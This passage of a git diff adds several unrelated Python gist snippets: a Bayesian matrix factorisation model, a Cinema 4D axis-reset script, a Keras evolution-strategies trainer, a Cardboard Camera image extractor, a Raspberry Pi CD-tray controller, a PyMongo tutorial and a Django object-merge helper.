+        corr_matrix_u = t.fill_diagonal(corr_matrix_u, 1)
+        cov_matrix_u = t.diag(sigma_u).dot(corr_matrix_u.dot(t.diag(sigma_u)))
+        lambda_u = t.nlinalg.matrix_inverse(cov_matrix_u)
+
+        mu_u = pm.Normal(
+            'mu_u', mu=0, tau=beta_0 * t.diag(lambda_u), shape=dim,
+             testval=np.random.randn(dim) * std)
+        U = pm.MvNormal(
+            'U', mu=mu_u, tau=lambda_u, shape=(n, dim),
+            testval=np.random.randn(n, dim) * std)
+
+        # Specify item feature matrix
+        sigma_v = pm.Uniform('sigma_v', shape=dim)
+        corr_triangle_v = pm.LKJCorr(
+            'corr_v', n=1, p=dim,
+            testval=np.random.randn(n_elem) * std)
+
+        corr_matrix_v = corr_triangle_v[tri_index]
+        corr_matrix_v = t.fill_diagonal(corr_matrix_v, 1)
+        cov_matrix_v = t.diag(sigma_v).dot(corr_matrix_v.dot(t.diag(sigma_v)))
+        lambda_v = t.nlinalg.matrix_inverse(cov_matrix_v)
+
+        mu_v = pm.Normal(
+            'mu_v', mu=0, tau=beta_0 * t.diag(lambda_v), shape=dim,
+             testval=np.random.randn(dim) * std)
+        V = pm.MvNormal(
+            'V', mu=mu_v, tau=lambda_v, shape=(m, dim),
+            testval=np.random.randn(m, dim) * std)
+
+        # Specify rating likelihood function
+        R = pm.Normal(
+            'R', mu=t.dot(U, V.T), tau=alpha * np.ones((n, m)),
+            observed=train)
+
+    logging.info('done building the BPMF model')
+    return bpmf
+
+
+if __name__ == "__main__":
+    logging.basicConfig(
+        level=logging.INFO,
+        format='[%(asctime)s]: %(message)s')
+
+    # Read data and build PMF model.
+    train, test = read_jester_data()
+    pmf = build_pmf_model(train)
+
+    # Find mode of posterior using optimization
+    with pmf:
+        tstart = time.time()
+        logging.info('finding PMF MAP using Powell optimization')
+        start = pm.find_MAP(fmin=sp.optimize.fmin_powell)
+        elapsed = time.time() - tstart
+        logging.info('found PMF MAP in %d seconds' % int(elapsed))
+
+    # Build the modified BPMF model using same default params as PMF.
+    mod_bpmf = build_mod_bpmf_model(train)
+
+    # Use PMF MAP to initialize sampling for modified BPMF.
+    for key in mod_bpmf.test_point:
+        if key not in start:
+            start[key] = mod_bpmf.test_point[key]
+
+    # Attempt to sample with modified BPMF
+    # (this part raises PositiveDefiniteError when using the normal BPMF model).
+    with mod_bpmf:
+        nsamples = 100
+        njobs = 2
+        logging.info(
+            'drawing %d MCMC samples using %d jobs' % (nsamples, njobs))
+        step = pm.NUTS(scaling=start)
+        trace = pm.sample(nsamples, step, start=start, njobs=njobs)
\ No newline at end of file
diff --git a/hard-gists/00a4835bf36513ca58a3/._snippet.py b/hard-gists/00a4835bf36513ca58a3/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/00a4835bf36513ca58a3/._snippet.py differ
diff --git a/hard-gists/00a4835bf36513ca58a3/snippet.py b/hard-gists/00a4835bf36513ca58a3/snippet.py
new file mode 100644
index 00000000..6052e397
--- /dev/null
+++ b/hard-gists/00a4835bf36513ca58a3/snippet.py
@@ -0,0 +1,31 @@
+import c4d
+# Slightly modified version of Lennart's (tca studios) script from this thread: 
+# http://www.plugincafe.com/forum/forum_posts.asp?TID=6600&KW=&PID=27379#27379
+
+def main():
+
+    if op is None: return False
+
+    oldm   = op.GetMg()
+    points = op.GetAllPoints()
+    pcount = op.GetPointCount()
+
+    doc.StartUndo()
+    doc.AddUndo(c4d.UNDOTYPE_CHANGE, op)
+
+    op.SetAbsPos(c4d.Vector(0,0,0)) #Comment out this to keep original position
+    op.SetAbsRot(c4d.Vector(0,0,0)) #Comment out this to keep original rotation
+    op.SetAbsScale(c4d.Vector(1,1,1)) #Comment out this to keep original scale
+    op.Message(c4d.MSG_UPDATE)
+
+    newm    = op.GetMg()
+
+    for p in xrange(pcount):
+        op.SetPoint(p,~newm*oldm*points[p])
+
+    op.Message(c4d.MSG_UPDATE)
+    c4d.EventAdd()
+    doc.EndUndo()
+
+if __name__=='__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/00e9638c0efad1adac878522cf172484/._snippet.py b/hard-gists/00e9638c0efad1adac878522cf172484/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/00e9638c0efad1adac878522cf172484/._snippet.py differ
diff --git a/hard-gists/00e9638c0efad1adac878522cf172484/snippet.py b/hard-gists/00e9638c0efad1adac878522cf172484/snippet.py
new file mode 100644
index 00000000..652bf5f9
--- /dev/null
+++ b/hard-gists/00e9638c0efad1adac878522cf172484/snippet.py
@@ -0,0 +1,207 @@
+
+#Evolution Strategies with Keras
+#Based off of: https://blog.openai.com/evolution-strategies/
+#Implementation by: Nicholas Samoray
+
+#README
+#Meant to be run on a single machine
+#APPLY_BIAS is currently not working, keep to False
+#Solves Cartpole as-is in about 50 episodes
+#Solves BipedalWalker-v2 in about 1000
+#Network used for BipedalWalker-v2
+#-Input
+#-128 hidden, activation tanh
+#-128 hidden, activation tanh
+#-Output
+
+import gym
+from keras.layers import Dense, Flatten, Input, merge, Lambda, Activation
+from keras.optimizers import Adam
+from keras.models import Sequential, Model
+import keras.backend as K 
+import tensorflow as tf
+from collections import deque
+import numpy as np
+import random
+import math
+import threading
+import sys
+
+LEARN_RATE = 0.03
+SIGMA = 0.1
+ACTION_SIZE = 2
+STATE_SIZE = 4
+#total number of episodes
+NUM_EPS = 10000
+#number of workers
+NUM_WORKERS = 64
+#number of times to run each worker on the same network
+NUM_TESTS = 1
+#max time to run each env
+EPS_LENGTH = 2000
+FRAME_COUNT = 0
+ENV = 'CartPole-v1'
+APPLY_BIAS = False
+scores = []
+
+class network():
+	def __init__(self):
+		self.model = self.createModel()
+		self.env = gym.make(ENV)
+
+	def createModel(self):
+		#change activations based on environment
+		state_in = Input(shape=[STATE_SIZE])
+		x        = Dense(24, activation='relu')(state_in)
+		x        = Dense(24, activation='relu')(x)
+		out      = Dense(ACTION_SIZE, activation='softmax')(x)
+
+		model = Model(input=state_in, output=out)
+
+		return model
+
+	#just runs the network on the environment
+	#collects reward and returns it
+	def run(self):
+		global FRAME_COUNT
+		total_reward = 0.
+
+		for e in range(NUM_TESTS):
+			state = self.env.reset()
+			state = np.reshape(state, [1, STATE_SIZE])
+			for t in range(EPS_LENGTH):
+				FRAME_COUNT += 1
+				action = self.model.predict(state)[0]
+
+				#comment this out if you're not doing CartPole or something
+				action = np.argmax(action)
+
+				new_state, reward, done, _ = self.env.step(action)
+				total_reward += reward
+				if done:
+					break
+				state = new_state
+				state = np.reshape(state, [1, STATE_SIZE])
+
+		return total_reward/NUM_TESTS
+
+#progress bar methods
+def startProgress(title):
+    global progress_x
+    sys.stdout.write(title + ": [" + "-"*40 + "]" + chr(8)*41)
+    sys.stdout.flush()
+    progress_x = 0
+
+def progress(x):
+    global progress_x
+    x = int(x * 40 // 100)
+    sys.stdout.write("#" * (x - progress_x))
+    sys.stdout.flush()
+    progress_x = x
+
+def endProgress():
+    sys.stdout.write("#" * (40 - progress_x) + "]\n")
+    sys.stdout.flush()
+
+#create all the workers
+networks = [network() for i in range(NUM_WORKERS)]
+weight_list = []
+
+#initialize random weights
+curr_weights = []
+curr_bias = []
+#loop through each layer in the first network to get shapes
+for l in range(1,len(networks[0].model.layers)):
+	#get shapes of weight and bias layers
+	bias_shape = np.array(networks[0].model.layers[l].get_weights()[1]).shape
+	shape = np.array(networks[0].model.layers[l].get_weights()[0]).shape
+
+	#get the current weights of the first network as a baseline
+	#init biases to 0 is we're not adjusting them 
+	N = networks[0].model.layers[l].get_weights()[0]
+	if APPLY_BIAS:
+		B = networks[0].model.layers[l].get_weights()[1]
+	else:
+		B = np.zeros(shape[1])
+
+	#add to containers
+	curr_weights.append(N)
+	curr_bias.append(B)
+
+#used to hold scores to keep running average
+running = []
+
+#run through the episodes
+for eps in range(NUM_EPS):
+	print("Total Frames:", FRAME_COUNT)
+
+	#zero out scores
+	scores = np.zeros(NUM_WORKERS)
+
+	#make noise matrix and bias matrix
+	noise = []
+	bias_noise = []
+	print("Generating Noise ", eps)
+	for l in range(1,len(networks[0].model.layers)):
+
+		#get shapes
+		#TODO: just do this once at the start
+		bias_shape = np.array(networks[0].model.layers[l].get_weights()[1]).shape
+		shape = np.array(networks[0].model.layers[l].get_weights()[0]).shape
+
+		#create a noise matrix to multiply the base weights by
+		#uses polynomial distribution
+		N = np.random.randn(NUM_WORKERS, shape[0],shape[1])*SIGMA
+		B = np.random.randn(NUM_WORKERS, bias_shape[0])*SIGMA
+
+		#add to containers
+		noise.append(N)
+		bias_noise.append(B)
+
+	#run workers with their respective noise + base weights
+	startProgress("Workers")
+	for w in range(NUM_WORKERS):
+
+		#apply noise to base weights
+		for l in range(1,len(networks[0].model.layers)):
+			new_weights = curr_weights[l-1] + noise[l-1][w]
+
+			if APPLY_BIAS:
+				new_bias = curr_bias[l-1] + bias_noise[l-1][w]
+			else:
+				new_bias = curr_bias[l-1]
+
+			#set the weights on the current worker
+			networks[w].model.layers[l].set_weights((new_weights, new_bias))
+		#run it and store the score
+		scores[w] = networks[w].run()
+		#update progress bar
+		progress((float(w)/float(NUM_WORKERS))*100)
+	endProgress()
+
+	#get standard deviation of each reward
+	#add a small amount to account for divide by 0
+	std = ((scores - np.mean(scores)) / (np.std(scores) + 1e-5))
+
+	#bookkeeping
+	running.append(np.mean(scores))
+	curr_score = networks[np.argmax(scores)].run()
+	if(curr_score > 250 and scores[np.argmax(scores)] > 250):
+		print("Saving")
+		networks[np.argmax(scores)].model.save('cartpole_nes.h5')
+
+	print("Avg:", np.mean(scores), "High:", np.amax(scores), "Low:", np.amin(scores), 
+		"Running:", sum(running[-100:])/(min(len(running),100)), "Current Best:", curr_score)
+
+	#update the weights
+	print("Updating ", eps)
+	for l in range(1,len(networks[0].model.layers)):
+		weight_dot = noise[l-1]
+		bias_dot = bias_noise[l-1]
+
+		weight_dot = np.dot(weight_dot.transpose(1,2,0), std)
+		#bias_dot = np.dot(bias_dot.transpose(1,2,0), std)
+
+		curr_weights[l-1] = curr_weights[l-1] + LEARN_RATE/(NUM_WORKERS*SIGMA) * weight_dot
+		if APPLY_BIAS:
+			curr_bias[l-1] = curr_bias[l-1] + LEARN_RATE/(NUM_WORKERS*SIGMA) * bias_dot
diff --git a/hard-gists/011004bcac763eaf6f28/._snippet.py b/hard-gists/011004bcac763eaf6f28/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/011004bcac763eaf6f28/._snippet.py differ
diff --git a/hard-gists/011004bcac763eaf6f28/snippet.py b/hard-gists/011004bcac763eaf6f28/snippet.py
new file mode 100644
index 00000000..b5bfc8ed
--- /dev/null
+++ b/hard-gists/011004bcac763eaf6f28/snippet.py
@@ -0,0 +1,51 @@
+#!/usr/bin/env python
+#
+# Google Cardboard Camera extractor
+# Extracts audio and second image from the XMP header in Cardboard Camera images
+# Requires python-xmp-toolkit ( pip install python-xmp-toolkit )
+#
+# Usage:
+# $ carboardcam_extract.py myimage_vr.jpg
+#
+# Creates two new files - myimage_vr_audio.mp4 and myimage_vr_righteye.jpg
+#
+# License: MIT
+# Copyright (c) 2015 Andrew Perry
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+
+import sys
+from os import path
+from base64 import b64decode
+from libxmp.utils import file_to_dict
+
+img_filename = sys.argv[1]
+xmp = file_to_dict(img_filename)
+
+audio_b64 = xmp[u'http://ns.google.com/photos/1.0/audio/'][1][1]
+
+afh = open(path.splitext(img_filename)[0]+"_audio.mp4", 'wb')
+afh.write(b64decode(audio_b64))
+afh.close()
+
+image_b64 = xmp[u'http://ns.google.com/photos/1.0/image/'][1][1]
+
+ifh = open(path.splitext(img_filename)[0]+"_righteye.jpg", 'wb')
+ifh.write(b64decode(image_b64))
+ifh.close()
diff --git a/hard-gists/0115e0ce312f26ff59f4fbf4f5821ca2/._snippet.py b/hard-gists/0115e0ce312f26ff59f4fbf4f5821ca2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0115e0ce312f26ff59f4fbf4f5821ca2/._snippet.py differ
diff --git a/hard-gists/0115e0ce312f26ff59f4fbf4f5821ca2/snippet.py b/hard-gists/0115e0ce312f26ff59f4fbf4f5821ca2/snippet.py
new file mode 100644
index 00000000..3ab16360
--- /dev/null
+++ b/hard-gists/0115e0ce312f26ff59f4fbf4f5821ca2/snippet.py
@@ -0,0 +1,135 @@
+#!/usr/bin/python
+
+# open/close CD/DVD tray from Raspberry Pi GPIO via H-Bridge
+
+import RPi.GPIO as GPIO
+import time
+import sys
+import signal
+
+GPIO.setmode(GPIO.BOARD)
+
+# open/close switches on CD/DVD tray
+OPSW = 22 # G25
+CLSW = 37 # G26
+
+# H-bridge 2-bit control input, where:
+#  K1  K3
+#  K2  K4
+# K1 = C
+# K2 = not (C or D)
+# K3 = not (C or D)
+# K4 = C
+# therefore:
+# D C  K1 K2 K3 K4  operation
+# 0 0   0  1  1  0  forward
+# 0 1   1  0  0  1  reverse
+# 1 0   0  0  0  0  coast
+# 1 1   1  0  0  1  reverse
+C = 38 # G20
+D = 40 # G21
+
+# status LEDs
+LED_Y = 32 # G12
+LED_B = 33 # G13
+
+GPIO.setwarnings(False)
+GPIO.setup([OPSW, CLSW], GPIO.IN, pull_up_down=GPIO.PUD_UP)
+GPIO.setup(C, GPIO.OUT, initial=GPIO.LOW)
+GPIO.setup(D, GPIO.OUT, initial=GPIO.HIGH) # "disable" by default
+GPIO.setup([LED_Y, LED_B], GPIO.OUT, initial=GPIO.HIGH)
+
+def open():
+	# forward
+	print "opening"
+	GPIO.output(C, False)
+	GPIO.output(D, False)
+
+def close():
+	# reverse
+	print "closing"
+	GPIO.output(D, False) # set first
+	GPIO.output(C, True)
+	#GPIO.output(D, False)
+
+def coast():
+	print "coasting"
+	GPIO.output(C, False)
+	GPIO.output(D, True)
+
+
+def closed():
+	return not GPIO.input(CLSW)
+
+def opened():
+	return not GPIO.input(OPSW)
+
+def handle(pin):
+	value = GPIO.input(pin)
+
+	if pin == OPSW:
+		GPIO.output(LED_Y, value)
+	elif pin == CLSW:
+		GPIO.output(LED_B, value)
+
+def emergency_coast(ignored):
+	print "timed out, coasting"
+	coast()
+
+limit = 0
+direction = None
+if len(sys.argv) > 1:
+	if sys.argv[1] == '-h':
+		sys.stderr.write("""usage: %s [limit] [direction]
+\tlimit: maximum number of seconds to drive [default: 0=until done]
+\tdirection: direction to drive if if partially open, open/close [default: open]
+""" % (sys.argv[0],))
+		print
+		raise SystemExit
+
+	limit = float(sys.argv[1])
+	print "limit",limit
+if len(sys.argv) > 2:
+	direction = sys.argv[2]
+	print "direction",direction
+
+signal.signal(signal.SIGALRM, emergency_coast)
+signal.alarm(10)
+
+coast()
+GPIO.add_event_detect(OPSW, GPIO.BOTH, handle)
+GPIO.add_event_detect(CLSW, GPIO.BOTH, handle)
+
+
+print "opened=",opened()
+print "closed=",closed()
+
+time.sleep(0.1)
+
+
+if opened():
+	close()
+elif closed():
+	open()
+else:
+	# partially open, open all the way (unless overridden)
+	if direction == 'close':
+		close()
+	else:
+		open()
+
+started = time.time()
+for i in range(50):
+	time.sleep(0.5)
+	if opened():
+		print "opened, done"
+		break
+	if closed():
+		print "closed, done"
+		break
+	elapsed = time.time() - started
+	if limit != 0 and elapsed >= limit:
+		print "user-specified time limit %s exceeded, done" % (limit,)
+		break
+
+coast()
diff --git a/hard-gists/015e2ce27cecdea63564/._snippet.py b/hard-gists/015e2ce27cecdea63564/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/015e2ce27cecdea63564/._snippet.py differ
diff --git a/hard-gists/015e2ce27cecdea63564/snippet.py b/hard-gists/015e2ce27cecdea63564/snippet.py
new file mode 100644
index 00000000..af62b32b
--- /dev/null
+++ b/hard-gists/015e2ce27cecdea63564/snippet.py
@@ -0,0 +1,313 @@
+##########################################################################
+# THE MICRO MONGODB+PYTHON BOOK 
+#
+# A simple adaptation to Python + summary of 
+# The Little MongoDB Book: https://github.com/karlseguin/the-little-mongodb-book
+#
+# javier arias losada
+# twitter: @javier_arilos
+
+# Usage suggestion: run line by line bu using pydemo project (https://github.com/pablito56/pydemo) 
+# You will need a MongoDB instance up and running.
+# >> pip install pymongo
+# >> pip install git+https://github.com/pablito56/pydemo.git
+# >> pydemo micro-pymongo.py
+
+# ******** Chapter 1 - The Basics: 
+# * 
+# * https://github.com/karlseguin/the-little-mongodb-book/blob/master/en/mongodb.markdown#chapter-1---the-basics
+#
+# MongoDB (from "humongous") is an open-source document database, (...) MongoDB features:
+# Document-Oriented: JSON-style, with dynamic schemas.
+# Full Index Support: Index on any attribute.
+# Replication & High Availability: Across LANs and WANs.
+# Auto-Sharding: Scale horizontally.
+# Querying: Rich, document-based queries.
+# Fast In-Place Updates: Atomic modifiers.
+# Map/Reduce: Flexible aggregation and data processing.
+# GridFS: Store files of any size.
+# MongoDB Management: Monitoring and backup.
+
+# databases >> collections >> documents >> fields
+
+# Pymongo + MongoDB make it very easy to work:
+# create a client
+import pymongo
+from datetime import datetime
+client = pymongo.MongoClient()
+
+# use micro database
+db = client['micro-mongodb-python-book']
+
+# insert a document (a Python dict) into unicors collection
+db.unicorns.insert({'name': 'Aurora', 'gender': 'f', 'weight': 450})
+
+# both database and collection are, lazy initialized if do not exist
+
+# mongodb is schemaless, we can insert a document with different structure
+db.unicorns.insert({'client_id': 'Mickey', 'specie': 'mouse', 'weight': 0.450})
+
+# find returns a Cursor object, we can iterate over it.
+for doc in db.unicorns.find():
+    print doc
+
+# Querying data and selectors: 
+# remove documents in the collection
+db.unicorns.remove()
+
+# First, insert some unicorns' data for later querying
+db.unicorns.insert({'name': 'Horny',
+    'dob': datetime(1992,2,13,7,47),
+    'loves': ['carrot','papaya'],
+    'weight': 600,
+    'gender': 'm',
+    'vampires': 63});
+db.unicorns.insert({'name': 'Aurora',
+    'dob': datetime(1991, 10, 24, 13, 0),
+    'loves': ['carrot', 'grape'],
+    'weight': 450,
+    'gender': 'f',
+    'vampires': 43});
+db.unicorns.insert({'name': 'Unicrom',
+    'dob': datetime(1973, 1, 9, 22, 10),
+    'loves': ['energon', 'redbull'],
+    'weight': 984,
+    'gender': 'm',
+    'vampires': 182});
+db.unicorns.insert({'name': 'Roooooodles',
+    'dob': datetime(1979, 7, 18, 18, 44),
+    'loves': ['apple'],
+    'weight': 575,
+    'gender': 'm',
+    'vampires': 99});
+db.unicorns.insert({'name': 'Solnara',
+    'dob': datetime(1985, 6, 4, 2, 1),
+    'loves':['apple', 'carrot',
+        'chocolate'],
+    'weight':550,
+    'gender':'f',
+    'vampires':80});
+db.unicorns.insert({'name':'Ayna',
+    'dob': datetime(1998, 2, 7, 8, 30),
+    'loves': ['strawberry', 'lemon'],
+    'weight': 733,
+    'gender': 'f',
+    'vampires': 40});
+db.unicorns.insert({'name':'Kenny',
+    'dob': datetime(1997, 6, 1, 10, 42),
+    'loves': ['grape', 'lemon'],
+    'weight': 690,
+    'gender': 'm',
+    'vampires': 39});
+db.unicorns.insert({'name': 'Raleigh',
+    'dob': datetime(2005, 4, 3, 0, 57),
+    'loves': ['apple', 'sugar'],
+    'weight': 421,
+    'gender': 'm',
+    'vampires': 2});
+db.unicorns.insert({'name': 'Leia',
+    'dob': datetime(2001, 9, 8, 14, 53),
+    'loves': ['apple', 'watermelon'],
+    'weight': 601,
+    'gender': 'f',
+    'vampires': 33});
+db.unicorns.insert({'name': 'Pilot',
+    'dob': datetime(1997, 2, 1, 5, 3),
+    'loves': ['apple', 'watermelon'],
+    'weight': 650,
+    'gender': 'm',
+    'vampires': 54});
+db.unicorns.insert({'name': 'Nimue',
+    'dob': datetime(1999, 11, 20, 16, 15),
+    'loves': ['grape', 'carrot'],
+    'weight': 540,
+    'gender': 'f'});
+db.unicorns.insert({'name': 'Dunx',
+    'dob': datetime(1976, 6, 18, 18, 18),
+    'loves': ['grape', 'watermelon'],
+    'weight': 704,
+    'gender': 'm',
+    'vampires': 165});
+# Inserted some unicorns' data for later querying
+
+# MongoDB selectors are the equivalent to WHERE clauses in relational DB's
+# a selector is an object instructing how to match objects in the collection
+
+# find all male unicorns
+for doc in db.unicorns.find({'gender': 'm'}):
+	print doc
+
+# find all male unicorns that weigh more than 700 pounds
+for doc in db.unicorns.find({'gender': 'm', 'weight': {'$gt': 700}}):
+	print doc
+	
+
+# female unicorns which either love apples or oranges or weigh less than 500 pounds
+cursor = db.unicorns.find({'gender': 'f', '$or': [{'loves': 'apple'}, {'loves': 'orange'}, {'weight': {'$lt': 500}}]})
+for doc in cursor:
+	print doc
+
+# ******** Chapter 2 - Update:
+# *
+# * https://github.com/karlseguin/the-little-mongodb-book/blob/master/en/mongodb.markdown#chapter-2---updating
+#
+
+# We have now many unicorn documents, let's update one of them:
+db.unicorns.find_one({'name': 'Roooooodles'})
+
+# Update takes a minimum of two arguments, one Selector object to match and an update object
+db.unicorns.update({'name': 'Roooooodles'}, {'weight': 590})
+
+# Let's check the result
+db.unicorns.find_one({'name': 'Roooooodles'})
+# No results? How that can be? Check the result of the following
+
+db.unicorns.find_one({'weight': 590})
+# Update, by default will replace the matched document with the new document provided
+
+# How can we update just some fields and keep the rest unchanged? $set operator
+# Let's recover our wrongly updated unicorn:
+db.unicorns.update({'weight': 590}, {'$set': {
+    'name': 'Roooooodles',
+    'dob': datetime(1979, 7, 18, 18, 44),
+    'loves': ['apple'],
+    'gender': 'm',
+    'vampires': 99}})
+
+db.unicorns.find_one({'name': 'Roooooodles'})
+# In all previous update operations, the Roooooodles' document _id is the same
+
+# Other update modifiers: 
+# $inc for incrementing/decrementing a numeric field
+db.unicorns.update({'name': 'Roooooodles'}, {'$inc': {'vampires': -2}})
+db.unicorns.find_one({'name': 'Roooooodles'})
+
+# $push for adding element to an array field
+db.unicorns.update({'name': 'Roooooodles'}, {'$push': {'loves': 'carrot'}})
+
+# update modifiers can be combined to do many operations on a single operation
+db.unicorns.update({'name': 'Roooooodles'}, {'$push': {'loves': 'potato'}, '$inc': {'vampires': 6}})
+db.unicorns.find_one({'name': 'Roooooodles'})
+
+# many push and inc can on multiple elements be done in a single operation
+db.unicorns.update({'name': 'Roooooodles'}, {'$push': {'loves': {'$each': ['apple', 'durian']}}, '$inc': {'vampires': 6, 'eggs': 1}})
+db.unicorns.find_one({'name': 'Roooooodles'})
+
+# mongodb supports Upserts (Update or Insert)
+# Let's count hits on our application pages
+db.hits.update({'page': 'unicorns'}, {'$inc': {'hits': 1}})
+db.hits.find_one()
+
+db.hits.update({'page': 'unicorns'}, {'$inc': {'hits': 1}}, upsert=True)
+
+db.hits.find_one()
+
+# By default, update modifies just one document
+db.unicorns.update({}, {'$set': {'vaccinated': True}});
+for unicorn in db.unicorns.find({'vaccinated': True}):
+    print unicorn
+
+# multiple updates can be applied in a single operation, by setting named parameter multi=True
+db.unicorns.update({}, {'$set': {'vaccinated': True}}, multi=True);
+for unicorn in db.unicorns.find({'vaccinated': True}).limit(5):
+    print unicorn
+
+# ******** Chapter 3 - Mastering Find:
+# *
+# * https://github.com/karlseguin/the-little-mongodb-book/blob/master/en/mongodb.markdown#chapter-3---mastering-find
+#
+
+# We can ask mongodb to return just some fields when selecting documents
+# _id is included by default unless we explicitly exclude it
+# the rest of fields are not included by default
+for doc in db.unicorns.find({}, {'_id': 0, 'name': 1}):
+    print doc
+
+# Sorting documents
+for doc in db.unicorns.find({}, {'name': 1, 'weight': 1}).sort([('name', pymongo.ASCENDING), ('vampires', pymongo.DESCENDING)]):
+    print doc
+
+# Paging results
+for doc in db.unicorns.find({}).sort([('name', pymongo.ASCENDING)]).skip(3).limit(2):
+    print doc
+
+# Counting results
+db.unicorns.find({'vampires': {'$gt': 50}}).count()
+
+# ******** Chapter 4 - Data Modelling:
+# *
+# * https://github.com/karlseguin/the-little-mongodb-book/blob/master/en/mongodb.markdown#chapter-4---data-modeling
+#
+
+# No joins are available in MongoDB.
+# Let's going to create three employees: Leto, Duncan and Moneo. Leto is the manager.
+from bson.objectid import ObjectId
+db.employees.insert({'_id': ObjectId('4d85c7039ab0fd70a117d730'), 'name': 'Leto'})
+db.employees.insert({'_id': ObjectId('4d85c7039ab0fd70a117d731'), 'name': 'Duncan',
+                    'manager': ObjectId('4d85c7039ab0fd70a117d730')});
+db.employees.insert({'_id': ObjectId('4d85c7039ab0fd70a117d732'), 'name': 'Moneo',
+                    'manager': ObjectId('4d85c7039ab0fd70a117d730')});
+
+for employee in db.employees.find({'manager': ObjectId('4d85c7039ab0fd70a117d730')}):
+    print employee
+
+# This relationships can be stored in arrays to model 1:N relationships
+# Let's supose some employees can have many managers
+db.employees.insert({'_id': ObjectId('4d85c7039ab0fd70a117d733'), 'name': 'Siona',
+                    'manager': [ObjectId('4d85c7039ab0fd70a117d730'),
+                                ObjectId('4d85c7039ab0fd70a117d732')]
+                    })
+
+# The previous query still works
+for employee in db.employees.find({'manager': ObjectId('4d85c7039ab0fd70a117d730')}):
+    print employee
+
+# We can also model by nesting documents inside documents:
+db.employees.insert({'_id': ObjectId('4d85c7039ab0fd70a117d734'), 'name': 'Ghanima',
+                    'family': {'mother': 'Chani',
+                               'father': 'Paul',
+                               'brother': ObjectId('4d85c7039ab0fd70a117d730')}})
+
+# Embedded documents can be queried with dot-notation:
+for employee in db.employees.find({'family.mother': 'Chani'}):
+    print employee
+
+# DBRef objects allow to reference a collection and document from our document.
+# Some drivers may get automatically the referenced object. Pymongo does so.
+
+# Want to see the employee => manager example with DBRef? https://gist.github.com/javierarilos/d5fce5d50b1b9b8e2784
+
+# ******** Chapter 5 - When to use MongoDB:
+# *
+# * https://github.com/karlseguin/the-little-mongodb-book/blob/master/en/mongodb.markdown#chapter-5---when-to-use-mongodb
+#
+
+# Out of the scope of this doc, see the link if you want to know more.
+
+# Geospatial queries: http://mongly.openmymind.net/geo/index
+
+# ******** Chapter 6 - Map and Reduce:
+# *
+# * https://github.com/karlseguin/the-little-mongodb-book/blob/master/en/mongodb.markdown#chapter-6---mapreduce
+#
+
+# Out of the scope of this doc, see the link if you want to know more.
+
+# ******** Chapter 7 - Performance and Tools:
+# *
+# https://github.com/karlseguin/the-little-mongodb-book/blob/master/en/mongodb.markdown#chapter-7---performance-and-tools#
+#
+
+# Creating and deleting an index on name field
+db.unicorns.ensure_index([('name', pymongo.DESCENDING)])
+db.unicorns.drop_index([('name', pymongo.DESCENDING)])
+
+# An index can be set as Unique (not repeated values for the indexed field)
+db.unicorns.ensure_index([('name', pymongo.DESCENDING)], unique=True)
+
+# Indexes can be set in embedded fiels and in array fields.
+# Indexes can be compound on different fields:
+db.unicorns.ensure_index([('name', pymongo.DESCENDING), ('vampires', pymongo.ASCENDING)])
+
+# Explain, get some information on how query executes
+db.unidorns.find().explain()
diff --git a/hard-gists/01886b6f79ba0c4dce66/._snippet.py b/hard-gists/01886b6f79ba0c4dce66/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/01886b6f79ba0c4dce66/._snippet.py differ
diff --git a/hard-gists/01886b6f79ba0c4dce66/snippet.py b/hard-gists/01886b6f79ba0c4dce66/snippet.py
new file mode 100644
index 00000000..c8142a20
--- /dev/null
+++ b/hard-gists/01886b6f79ba0c4dce66/snippet.py
@@ -0,0 +1,91 @@
+from django.db import transaction
+from django.apps import apps
+from django.contrib.contenttypes.fields import GenericForeignKey
+from django.db.models.fields.related import ManyToManyField
+
+
+@transaction.atomic()
+def merge(primary_object, *alias_objects):
+    """Merge several model instances into one, the `primary_object`.
+    Use this function to merge model objects and migrate all of the related
+    fields from the alias objects the primary object.
+    Usage:
+        from django.contrib.auth.models import User
+        primary_user = User.objects.get(email='good@example.com')
+        duplicate_user = User.objects.get(email='good+duplicate@example.com')
+        merge(primary_user, duplicate_user)
+    Based on: https://djangosnippets.org/snippets/382/
+    """
+    generic_fields = get_generic_fields()
+
+    # get related fields
+    many_to_many_fields, related_fields = discrimine(
+        lambda field: isinstance(field, ManyToManyField),
+        primary_object._meta._get_fields(forward=False, include_hidden=True)
+    )
+
+    # Loop through all alias objects and migrate their references to the
+    # primary object
+    for alias_object in alias_objects:
+        # Migrate all foreign key references from alias object to primary
+        # object.
+        for related_object in related_fields:
+            # The variable name on the alias_object model.
+            alias_varname = related_object.get_accessor_name()
+            # The variable name on the related model.
+            obj_varname = related_object.field.name
+            related_objects = getattr(alias_object, alias_varname)
+            for obj in related_objects.all():
+                setattr(obj, obj_varname, primary_object)
+                obj.save()
+
+        # Migrate all many to many references from alias object to primary
+        # object.
+        for related_many_object in many_to_many_fields:
+            alias_varname = related_many_object.get_accessor_name()
+            obj_varname = related_many_object.field.name
+            related_many_objects = getattr(alias_object, alias_varname)
